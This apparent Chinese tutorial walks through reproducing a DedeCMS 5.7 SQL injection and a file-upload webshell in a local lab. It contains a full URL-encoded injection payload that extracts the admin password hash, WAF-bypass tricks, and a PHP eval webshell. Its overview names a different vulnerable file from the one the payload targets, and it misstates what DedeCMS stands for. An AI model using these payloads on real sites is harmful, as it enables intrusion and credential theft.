目录
[1、会员组查询 SQL 注入](#1、会员组查询 SQL 注入)
(2)绕过WAF/过滤的联合查询 (/*!50000union*//*!50000select*/)
[(3)数据窃取Payload ((select CONCAT(0x7c,userid,0x7c,pwd) from #@__admin limit 0,1))](#@__admin limit 0,1)))
本文讲解织梦DedeCMS框架5.7版本的SQL注入+文件上传的渗透复现过程,包括从搭建环境到渗透实践的整个流程。
一、DedeCMS织梦5.7简介
DedeCMS(全称:Destoon Content Management System,中文常称 "织梦 CMS")是一款由中国开发者团队开发的开源内容管理系统(CMS),专注于为企业网站、个人博客、资讯门户、电商网站等场景提供快速建站解决方案,曾是国内使用范围最广的 CMS 系统之一。DedeCMS5.7存在如下两个安全风险。
1、会员组查询 SQL 注入
- 文件路径:
member/ajax_membergroup.php - 该文件用于处理会员组相关的 AJAX 请求,其中对用户传入的
groupid参数处理不当,导致 SQL 注入。
2、后台文件管理器文件上传
- 文件路径:
dede/file_manage_control.php(负责处理文件上传的核心逻辑) - 仅通过文件后缀名判断是否允许上传,未结合文件内容校验。默认允许
.htm、.html等类型,攻击者可将webshell.php伪装为webshell.php.htm绕过检测。
二、环境搭建
本部分搭建DedeCMS5.7版本复现SQL注入和文件上传,具体如下所示。
1、服务配置
在开始安装之前,请确保您的服务器或本地开发环境满足开启Web服务和数据库服务。首本文使用PHPStudy工具开启Apache+MySQL服务,如下所示。

这里需要特别注意的是由于本文实验室用的是DedeCMS织梦5.7版本,PHP版本不可以过高,否则会访问网站失败,本文选择php5.2.17,具体操作为网站-管理-php版本,如下所示。

2、DedeCMS安装
将下载的DedeCMS5.7网站源码压缩包解压,你会看到通常包含多个文件和文件夹,其中 uploads 文件夹内的内容才是需要上传到网站根目录的程序文件。这里为了方便,我直接将源码目录统一放到www根目录下,如下所示。注意将源码目录名修改为DedeCMS,进入DedeCMS目录后,存在如下两个文件夹docs和uploads。

在浏览器中访问http://127.0.0.1/DedeCMS/uploads即会被重定向到安装界面,此时URL变为
http://127.0.0.1/DedeCMS/uploads/install/index.php,具体如下所示。
http://127.0.0.1/DedeCMS/uploads

安装程序会自动检查服务器环境是否符合要求。请确保所有项目都为 "√" 或 "符合"。

接下来是最关键的参数配置,特别注意需要配置如下两项参数。
-
数据库用户 :填写你的MySQL用户名(以本机环境为例:
root)。 -
数据库密码:填写对应用户的MySQL密码(以本机环境为例:root)。
-
网站管理员帐号 :设置一个后台管理员的用户名(默认是
admin,建议修改)。 -
密码 :设置一个非常强壮的后台登录密码(我这里选择默认的admin)。

所有参数填写无误后,点击"继续",系统会自动创建数据表并导入初始数据,此时提示安装成功,如下所示。

3、访问DedeCMS
(1)网站首页:
点击访问网站首页,即进入DedeCMS的首页,具体如下所示。
http://127.0.0.1/DedeCMS/uploads/index.php

(2)管理后台
点击登录后台,此时进入管理账户"登录网站后台"的页面,输入你刚才设置的管理员账号和密码即可登录。
http://127.0.0.1/DedeCMS/uploads/dede/login.php

三、SQL注入渗透
1、SQL注入
通过构造payload获取网站后台管理员账户密码,完整内容如下所示。
plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6878
通过精心构造的HTTP请求,利用PHP全局变量($_FILES)和字符串逃逸技巧,最终在数据库执行任意SQL命令,完整的URL如下所示。
http://127.0.0.1/DedeCMS/uploads/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6878
核心攻击载荷在 _FILES[type][tmp_name] 参数中,先对URL解码一次(注意:%27是单引号',%20是空格,%23是井号#),解码后内容如下所示。
http://127.0.0.1/DedeCMS/uploads/plus/recommend.php?
action=
&aid=1
&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `#@__admin` limit 0,1),5,6,7,8,9#@`\'`+
&_FILES[type][name]=1.jpg
&_FILES[type][type]=application/octet-stream
&_FILES[type][size]=6878
(1)字符串逃逸与逻辑注入 (\' or mid=@``)
-
\':这是一个转义的单引号。在PHP处理请求参数时,如果magic_quotes_gpc设置为On(老版本PHP的默认安全设置),它会在单引号前加反斜杠\进行转义,试图阻止SQL注入。这里的\'就是为了应对这个设置。 -
or mid=@``:这是注入的关键逻辑。它试图闭合程序原本的SQL查询语句,并添加一个永真条件。-
假设程序原本的查询可能是:
$sql = "SELECT * FROM ... WHERE aid = '$aid' AND ..."; -
注入后,SQL语句变为:
... WHERE aid = '1' AND ... \' or mid=@`... -
mid=@````是一个无效的表达式,但其目的是利用反引号 ````` `` 和转义符\来混乱SQL解析,最终目的是为了引入后面的UNION查询。
-
(2)绕过WAF/过滤的联合查询 (/*!50000union*//*!50000select*/)
-
/*!50000union*/和/*!50000select*/:这是MySQL内联注释的一种特殊用法。-
/*!50000 ... */表示如果MySQL服务器版本大于等于5.00.00,注释中的内容就会被当作普通SQL执行。 -
这种写法常用于绕过简单的Web应用防火墙(WAF)或代码过滤 。因为一些简单的过滤规则可能会匹配
union select,但不会匹配被注释分隔开的union和select。而对于MySQL来说,这完全等同于union select。
-
(3)数据窃取Payload ((select CONCAT(0x7c,userid,0x7c,pwd) from #@__admin limit 0,1))
-
CONCAT(0x7c,userid,0x7c,pwd):这是攻击的目标。-
0x7c是十六进制,代表竖线字符|。 -
userid和pwd是DedeCMS管理员表#@__admin中的字段,分别存储管理员用户名和MD5加密的密码。 -
这个语句的作用是将查询结果拼接成
|admin|5f4dcc3b5aa765d61d8327deb882cf99这样的格式,便于在返回结果中识别。
-
-
from#@__admin``:#@__admin是DedeCMS的表前缀占位符。在程序实际执行时,会被替换成配置的前缀,例如dede_admin。攻击者利用程序这一特性,无需知道真实表名。 -
limit 0,1:只取第一条记录(通常是超级管理员)。
(4)注释掉原SQL语句 (#@'+)
-
#:这是MySQL的单行注释符。它之后的所有内容都会被数据库忽略。 -
攻击者用
#注释掉了原始SQL查询的剩余部分,确保注入的UNION查询能正确执行而不会受到后面原有SQL代码的语法干扰。 -
@'+这些字符在注释之后,已经没有实际意义,只是为了符合之前混乱的语法结构,保证整个Payload能正确解析。
如下所示,SQL注入渗透成功,UNION查询将管理员密码的MD5值作为结果集的一部分返回给页面,获取到admin|f297a57a5a743894a0e4。

2、md5解密
登录somd5,MD5免费在线解密破解_MD5在线加密-SOMD5 ,对加密值解密,输入加密后的f297a57a5a743894a0e4,如下可知解密后为admin。即用户名admin,密码admin,其实这就是搭建环境时设置的管理员用户名和密码。

四、文件上传
1、管理员登录
进入后台页面登录,输入管理员账户admin和密码admin如下所示。
http://127.0.0.1/DedeCMS/uploads/dede/login.php

2、上传木马
依次点击页面的左侧边栏(模块)-文件管理器-文件上传,如下图红框所示。

上传木马,脚本内容为<?php @eval($_POST[ljn]); ?>,含义如下所示。
eval():PHP 中的一个危险函数,作用是将传入的字符串当作 PHP 代码执行。$_POST[ljn]:获取客户端通过 POST 方法提交的、名为ljn的参数值。

点击上传后提示 ljn_post.php木马被上传到网站的uploads目录下,故而木马的URL地址如下所示。
http://127.0.0.1/DedeCMS/uploads/ljn_post.php

3、访问木马
网页端访问木马,post的数据填写ljn=phpinfo();如下所示渗透成功,获取到网站的php服务信息。
木马地址:http://127.0.0.1/DedeCMS/uploads/ljn_post.php
密码:ljn
